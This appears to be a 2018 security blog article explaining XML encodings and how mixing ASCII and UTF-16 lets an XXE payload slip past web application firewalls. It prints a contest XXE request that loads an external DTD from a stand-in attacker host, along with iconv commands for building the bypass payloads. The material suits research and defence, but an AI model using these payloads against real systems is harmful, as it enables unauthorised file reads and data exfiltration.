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XXE

Evil XML with two encodings

WAFs see a white noise instead of the document!

Preview

In this article you will meet a variety of XML encodings, and learn how to bypass a WAF with them.

What encodings are supported in XML

The specification tells parsers to be able to parse two encodings: UTF-8 and UTF-16. Many parsers support a little bit more, but for the demonstration these two are enough.

UTF-8 and UTF-16 map the same characters from the Unicode table.

The difference between the encodings is in a structure of these binary code:

UTF-8

A character is encoded as a sequence of one to four bytes long.

The binary code is defined by the template:

Number of bytes Significant bits Binary code
1 7 0xxxxxxx
2 11 110xxxxx 10xxxxxx
3 16 1110xxxx 10xxxxxx 10xxxxxx
4 21 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

An overlong encoding is prohibited, so only the shortest method is correct.

UTF-16

A character is encoded as a sequence of two or four bytes long.

The binary code is defined by the template:

Number of bytes Significant bits Binary code
2 16 xxxxxxxx xxxxxxxx
4 * 20 110110xx xxxxxxxx 110111xx xxxxxxxx

* Preliminarily 0x010000 is subtracted from a character code

If a symbol has been written by four bytes, it is called as a surrogate pair. A surrogate pair is a combination of two common symbols from the reserved range: U+D800 to U+DFFF. One half of a surrogate pair is not valid.


There are two types of UTF-16: UTF-16BE and UTF-16LE (Big-endian / Little-endian). They have a different order of bytes.

Big-endian is a “natural” order of bytes like in the arabic numerals.
Little-endian is an inverse order of bytes.

Some examples of encoding symbols in UTF-16BE and UTF-16LE:

Encoding Symbol Binary code
UTF-16BE U+003F 00000000 00111111
UTF-16LE U+003F 00111111 00000000
UTF-16BE * U+1D6E5 11011000 00110101 11011110 11100101
UTF-16LE * U+1D6E5 00110101 11011000 11100101 11011110

* In a surrogate pair each of the characters is inverted singly. This is designed for backwards compatibility with Unicode 1.0, where all symbols were encoded using two bytes only.

How do parsers detect an encoding

Parsers detect an encoding in four ways:

External information of encoding

Some network protocols have a special field that indicate an encoding:

Wireshark screenshot
Specifying an encoding in WebDav protocol

Most frequently there are protocols that are built by MIME standard. For example, it’s SMTP, HTTP, and WebDav.

Byte Order Mark (BOM)

The Byte Order Mark (BOM) is a character with U+FEFF code.

If a parser finds a BOM at the beginning of the document, then an encoding is determined by the binary code of the BOM.

Most popular encodings and their BOM

Encoding BOM Example
UTF-8 EF BB BF EF BB BF 3C 3F 78 6D 6C ...<?xml
UTF-16BE FE FF FE FF 00 3C 00 3F 00 78 00 6D 00 6C ...<.?.x.m.l
UTF-16LE FF FE FF FE 3C 00 3F 00 78 00 6D 00 6C 00 ..<.?.x.m.l.

BOM only works at the beginning of the document. In the middle a BOM will be read as a special space.

By the first symbols of the document

The specification allows parsers to identify the encoding by the first bytes:

Encoding Document
UTF-8
ISO 646
ASCII
3C 3F 78 6D <?xm
UTF-16BE 00 3C 00 3F .<.?
UTF-16LE 3C 00 3F 00 <.?.

It only works for documents that start with an xml declaration.

From XML declaration

The encoding can be written in an xml declaration:

<?xml version="1.0" encoding="UTF-8"?>

An “XML Declaration” is a string that can be written at the beginning of the document. A parser understands the version of the document’s standard by this string.

<?xml version="1.0" encoding="ISO-8859-1" ?>
<très>là</très>

Document in ISO-8859-1 encoding

Obviously, in order to read the declaration, a parser will have to know the encoding in which the declaration was written. But, the declaration is useful to clarify between ASCII-compatible encodings.

The most common WAF bypass

The first way is to change an encoding to non-compatible with ASCII, and hope that a WAF will fail to parse it.

It worked in “PHDays WAF Bypass” competition in 2015. Participants were required to read a flag through XXE vulnerability:

Request to XXE exploitation from the contest

POST / HTTP/1.1
Host: d3rr0r1m.waf-bypass.phdays.com
Connection: close
Content-Type: text/xml
User-Agent: Mozilla/5.0
Content-Length: 166
 
<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY % xxe SYSTEM "http://evilhost.com/waf.dtd">
    %xxe;
]>
<root>
    <method>test</method>
</root>

One of the solutions was to transcode a message body into UTF-16BE without a BOM:


cat original.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml

In this document, WAF couldn’t see the attack and did process the request.

New vector: Bypass with two encodings

The other way to confuse a WAF is to encode a document using two encodings simultaneously.

When a parser reads an encoding from the XML-declaration, the parser immediately switches to it.
Including one when the new encoding isn’t compatible with the encoding in which the XML-declaration was written.

WAFs don’t support parsing of such multi-encoded documents for now.

‎Xerces2 Java Parser

The XML-declaration is in ASCII, the root element is in UTF-16BE:

00000000 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 <?xml version="1
00000010 2E30 2220 656E 636F 6469 6E67 3D22 5554 .0" encoding="UT
00000020 462D 3136 4245 223F 3E00 3C00 6100 3E00 F-16BE"?>.<.a.>.
00000030 3100 3300 3300 3700 3C00 2F00 6100 3E 1.3.3.7.<./.a.>

Commands for transcoding:


echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xml
echo '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

libxml2

libxml2 switches an encoding immediately after it reads the attribute. Therefore, we need to change an encoding before closing the declaration tag:

00000000 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 <?xml version="1
00000010 2E30 2220 656E 636F 6469 6E67 3D22 5554 .0" encoding="UT
00000020 462D 3136 4245 2200 3F00 3E00 3C00 6100 F-16BE".?.>.<.a.
00000030 3E00 3100 3300 3300 3700 3C00 2F00 6100 >.1.3.3.7.<./.a.
00000040 3E >

Commands for transcoding:


echo -n '<?xml version="1.0" encoding="UTF-16BE"' > payload.xml
echo '?><a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

Afterword

The vector was founded September 5th, 2017. The first publication of this material was on the habrahabr in October 13th, 2017.

My colleague @Agarri_FR released on twitter a similar vector for ‎Xerces2 and UTF-7 in October 12th, 2017, and it got me publish this article immediately.

In addition to UTF-7 and UTF-16 you might use many different encodings, but however you should take into account your parser’s capabilities.

It’s the first article was written by me in English. January 5 and 11th, February 4th, 2018, Moscow, winter. Thanks @httpsonly for checking the version.

2018   WAF   XML   XXE